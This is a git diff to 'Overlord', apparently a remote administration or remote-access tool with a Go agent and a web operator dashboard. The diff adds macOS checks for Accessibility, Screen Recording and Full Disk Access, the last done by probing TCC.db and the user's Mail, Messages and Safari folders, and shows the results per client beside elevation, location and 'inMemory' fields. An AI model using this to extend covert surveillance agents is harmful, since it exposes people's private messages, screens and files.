diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go b/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go index bacb803..ec20194 100644 --- a/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go +++ b/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go @@ -3,7 +3,10 @@ package sysinfo import ( + "errors" + "io" "os" + "path/filepath" ) func IsAdmin() bool { @@ -19,9 +22,50 @@ func Elevation() string { func DarwinPermissions() map[string]bool { return map[string]bool{ - "screenRecording": false, - "accessibility": false, - "fullDiskAccess": false, + "screenRecording": darwinScreenRecordingPermission(), + "accessibility": darwinAccessibilityPermission(), + "fullDiskAccess": darwinFullDiskAccessPermission(), "root": os.Getuid() == 0, } } + +func darwinFullDiskAccessPermission() bool { + home, _ := os.UserHomeDir() + candidates := []string{ + "/Library/Application Support/com.apple.TCC/TCC.db", + } + if home != "" { + candidates = append(candidates, + filepath.Join(home, "Library", "Mail"), + filepath.Join(home, "Library", "Messages"), + filepath.Join(home, "Library", "Safari"), + filepath.Join(home, "Library", "Calendars"), + filepath.Join(home, "Library", "Application Support", "AddressBook"), + ) + } + + for _, path := range candidates { + if canOpenProtectedPath(path) { + return true + } + } + return false +} + +func canOpenProtectedPath(path string) bool { + f, err := os.Open(path) + if err != nil { + return false + } + defer f.Close() + + info, err := f.Stat() + if err != nil { + return false + } + if !info.IsDir() { + return true + } + _, err = f.Readdirnames(1) + return err == nil || errors.Is(err, io.EOF) +} diff --git a/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_cgo.go b/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_cgo.go new file mode 100644 index 0000000..746128b --- /dev/null +++ b/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_cgo.go @@ -0,0 +1,31 @@ +//go:build darwin && cgo + +package sysinfo + +/* +#cgo LDFLAGS: -framework ApplicationServices -framework CoreGraphics + +#include +#include +#include + +extern bool CGPreflightScreenCaptureAccess(void) __attribute__((weak_import)); + +static int checkAccessibilityPermission(void) { + return AXIsProcessTrusted() ? 1 : 0; +} + +static int checkScreenRecordingPermission(void) { + if (CGPreflightScreenCaptureAccess == NULL) return 0; + return CGPreflightScreenCaptureAccess() ? 1 : 0; +} +*/ +import "C" + +func darwinAccessibilityPermission() bool { + return C.checkAccessibilityPermission() == 1 +} + +func darwinScreenRecordingPermission() bool { + return C.checkScreenRecordingPermission() == 1 +} diff --git a/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_nocgo.go b/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_nocgo.go new file mode 100644 index 0000000..fc945d7 --- /dev/null +++ b/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_nocgo.go @@ -0,0 +1,11 @@ +//go:build darwin && !cgo + +package sysinfo + +func darwinAccessibilityPermission() bool { + return false +} + +func darwinScreenRecordingPermission() bool { + return false +} diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css index 18bd091..eaee001 100644 --- a/Overlord-Server/public/assets/main.css +++ b/Overlord-Server/public/assets/main.css @@ -2580,6 +2580,28 @@ tbody tr:hover { .cv-pill-system { background: rgba(239, 68, 68, 0.12); color: #fca5a5; border-color: rgba(239, 68, 68, 0.3); } .cv-pill-ti { background: rgba(168, 85, 247, 0.12); color: #d8b4fe; border-color: rgba(168, 85, 247, 0.3); } .cv-pill-muted { background: rgba(245, 158, 11, 0.12); color: #fcd34d; border-color: rgba(245, 158, 11, 0.3); } +.cv-pill-macperm.is-ok { background: rgba(16, 185, 129, 0.12); color: #86efac; border-color: rgba(16, 185, 129, 0.3); } +.cv-pill-macperm.is-warn { background: rgba(245, 158, 11, 0.12); color: #fcd34d; border-color: rgba(245, 158, 11, 0.3); } + +.cv-perm-list { + display: flex; + align-items: center; + gap: 6px; + flex-wrap: wrap; +} +.cv-perm-chip { + display: inline-flex; + align-items: center; + gap: 5px; + min-height: 22px; + padding: 2px 7px; + border-radius: 4px; + border: 1px solid transparent; + font-size: 11px; + white-space: nowrap; +} +.cv-perm-chip.is-ok { background: rgba(16, 185, 129, 0.1); color: #86efac; border-color: rgba(16, 185, 129, 0.25); } +.cv-perm-chip.is-missing { background: rgba(244, 63, 94, 0.1); color: #fda4af; border-color: rgba(244, 63, 94, 0.25); } .cv-group { display: inline-flex; @@ -3348,6 +3370,16 @@ tbody tr:hover { } .cv-card-hw-bit i { color: var(--cv-text-dim); font-size: 10px; } +.cv-card-perms { + margin-top: 6px; + padding: 6px 8px; + background: var(--cv-surface2); + border-radius: 6px; +} +.cv-card-perms .cv-field { + gap: 5px; +} + .cv-cpu-badge { display: inline-flex; align-items: center; diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js index c3056bf..52fb45f 100644 --- a/Overlord-Server/public/assets/render.js +++ b/Overlord-Server/public/assets/render.js @@ -200,6 +200,46 @@ function batteryHtml(client, { compact = false } = {}) { `; } +function isMacClient(client) { + const os = String(client?.os || "").toLowerCase(); + return os.includes("mac") || os.includes("darwin"); +} + +const MAC_PERMISSION_LABELS = [ + ["accessibility", "Accessibility"], + ["screenRecording", "Screen Recording"], + ["fullDiskAccess", "Full Disk Access"], +]; + +function macPermissionState(client) { + if (!isMacClient(client) || !client.permissions || typeof client.permissions !== "object") return null; + const items = MAC_PERMISSION_LABELS + .filter(([key]) => typeof client.permissions[key] === "boolean") + .map(([key, label]) => ({ key, label, granted: client.permissions[key] === true })); + if (!items.length) return null; + const missing = items.filter((item) => !item.granted); + return { items, missing }; +} + +function macPermissionBadgeHtml(client) { + const state = macPermissionState(client); + if (!state) return ""; + const title = state.items.map((item) => `${item.label}: ${item.granted ? "granted" : "missing"}`).join(" · "); + const ok = state.missing.length === 0; + return ``; +} + +function macPermissionDetailHtml(client) { + const state = macPermissionState(client); + if (!state) return ""; + const chips = state.items.map((item) => ` + + ${escapeHtml(item.label)} + + `).join(""); + return `
macOS Permissions${chips}
`; +} + function shortOsLabel(osRaw = "") { const badge = osBadge(osRaw || ""); if (badge?.label && badge.label !== "Linux" && badge.label !== "Windows") return badge.label; @@ -536,7 +576,7 @@ export function createRenderer({ } function cardDigest(c) { - return `${currentDisplayDigest}|${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.batteryPercent}|${c.batteryCharging}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`; + return `${currentDisplayDigest}|${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${JSON.stringify(c.permissions || {})}|${c.cpu}|${c.gpu}|${c.ram}|${c.batteryPercent}|${c.batteryCharging}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`; } function cardThumbDigest(c) { @@ -795,6 +835,7 @@ export function createRenderer({ ${client.isAdmin ? `` : ""} ${client.elevation === "system" ? `` : ""} ${client.elevation === "trustedinstaller" ? `` : ""} + ${macPermissionBadgeHtml(client)} ${client.notificationsMuted ? `` : ""} ${showField("user") ? `
${escapeHtml(userLine)}
` : ""} @@ -823,6 +864,7 @@ export function createRenderer({ ${showHardware ? `
CPU${cpuHtml}
` : ""} ${showHardware ? `
RAM${escapeHtml(client.ram || "—")}
` : ""} ${batteryIndicator ? `
Battery${batteryIndicator}
` : ""} + ${macPermissionDetailHtml(client)} ${showHardware && client.gpu ? `
GPU${escapeHtml(client.gpu)}
` : ""} ${showField("version") && !verLatest && client.version ? `
Versionv${escapeHtml(client.version)} (outdated)
` : ""} @@ -872,6 +914,7 @@ export function createRenderer({ ${client.isAdmin ? `` : ""} ${client.elevation === "system" ? `` : ""} ${client.elevation === "trustedinstaller" ? `` : ""} + ${macPermissionBadgeHtml(client)} ${client.notificationsMuted ? `` : ""} ${userMeta ? `${userMeta}` : ""} @@ -919,6 +962,7 @@ export function createRenderer({ const showHardware = showField("hardware"); const cpuHtml = showHardware && client.cpu ? cpuBadgeHtml(client.cpu) : ""; const batteryIndicator = showField("battery") ? batteryHtml(client, { compact: true }) : ""; + const macPermDetail = macPermissionDetailHtml(client); const metaParts = [ showField("system") ? ` ${escapeHtml(shortOsLabel(client.os))}` : "", @@ -931,6 +975,7 @@ export function createRenderer({ client.isAdmin ? `` : "", client.elevation === "system" ? `` : "", client.elevation === "trustedinstaller" ? `` : "", + macPermissionBadgeHtml(client), client.notificationsMuted ? `` : "", ].join(""); @@ -975,6 +1020,7 @@ export function createRenderer({ ${showHardware && client.ram ? ` ${escapeHtml(client.ram)}` : ""} ${batteryIndicator} ` : ""} + ${macPermDetail ? `
${macPermDetail}
` : ""}
${isViewer ? "" : ``} diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index 5572b0b..917a192 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -29,8 +29,16 @@ export type Hello = { monitors: number; monitorInfo?: { width: number; height: number }[]; country?: string; + hwid?: string; + inMemory?: boolean; + cpu?: string; + gpu?: string; + ram?: string; batteryPercent?: number; batteryCharging?: boolean; + isAdmin?: boolean; + elevation?: string; + permissions?: Record; publicKey?: string; signature?: string; publicIP?: string;